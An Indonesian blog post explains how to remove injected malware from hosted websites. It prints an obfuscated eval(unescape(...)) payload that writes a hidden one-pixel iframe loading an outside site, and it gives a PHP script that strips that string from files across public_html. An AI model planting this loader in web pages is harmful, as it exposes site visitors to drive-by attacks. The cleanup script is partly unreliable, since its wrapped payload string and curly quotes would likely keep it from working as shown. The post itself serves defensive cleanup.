[TIP] Mereplace file website yang terinfeksi malware

Mungkin anda pernah mengalami hosting anda atau website client anda diinject oleh code malware yang disembunyikan dengan code tertentu. Salah satu contoh adalah malware berikut:

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C
%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E
%70%6F%6F%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69
%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61
%6D%65%3E%27%29'));

Biasanya code malware tersebut diletakkan di baris paling akhir dari file-file yang bisa diakses secara umum melalui internet seperti html, htm, php, asp maupun ekstensi lainnya.
Jika file yang terinfeksi hanya 1-2 file, maka Anda cukup merubah file tersebut satu-satu dan dengan mudah menghapus baris code malware tersebut. Masalahnya jika yang terinfeksi adalah ribuan website di server anda bagaimana merubahnya secara instan dan aman ?

Disini saya mau memberikan tip bagaimana mereplace file-file website Anda yang terinfeksi oleh malware tersebut di server hosting anda atau di account anda sendiri. Berikut langkah-langkahnya:
1. Anda perlu memiliki akses ssh ke server hosting anda, atau meminta admin server hosting anda mengeksekusi script fix.php (code lihat dibawah)
2. Asumsi username anda di hosting anda adalah: badu dengan home direktori adalah /home/badu serta direktori public_html anda adalah /home/badu/public_html
3. Simpan file fix.php di /home/badu atau 1 level sebelum public_html
4. code fix.php

function recurse_dir($dir) {
if ($dh = @opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if (@is_file("$dir/$file")) {
if (strstr($file, '.htm')) {
echo "checking $dir/$file\n";
if ($h = @fopen("$dir/$file", 'r+')) {
$d = fread($h, filesize("$dir/$file"));
$d = str_replace("eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3
C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E%70%6F%6F
%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69%64%74%68%3D%31%20
%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));
", '', $d);
rewind($h);
ftruncate($h, 0);
fwrite($h, $d);
fclose($h);
}
}
}
elseif (($file != '.') && ($file != '..') && (@is_dir("$dir/$file"))) {
recurse_dir("$dir/$file");
}
}
}
}

recurse_dir(‘public_html’);

5. Eksekusi fix.php dengan perintah: /usr/local/bin/php fix.php (cpanel) atau jika binary php anda ada di lokasi lain, misalnya: /usr/bin/php fix.php
6. Check kembali file-file di public_html atau direktori website anda, apakah masih ada file yang terinfeksi (menggunakan find atau grep)
7. Perhatikan baris code fix.php
if (strstr($file, '.htm')) {
artinya script fix.php hanya akan melakukan perbaikan untuk file berekstensi .htm, jika website anda berekstensi html atau php silahkan diganti menjadi:
if (strstr($file, '.html')) {
atau
if (strstr($file, '.php')) {

Catatan:
– script tersebut adalah turunan dari script mas Daniel (thanks mas :D)
– Silahkan download fix.php lalu rename fix_php.txt menjadi fix.php
Jika ada rekan sekalian yang bisa mengembangkan script tersebut untuk code malware lain atau metoda lain, sangat saya hargai.

Terima kasih

Semoga bermanfaat

About Kalpin Erlangga Silaen

Suka membaca
This entry was posted in Umum. Bookmark the permalink.

Leave a Reply

Your email address will not be published.

 

This site uses Akismet to reduce spam. Learn how your comment data is processed.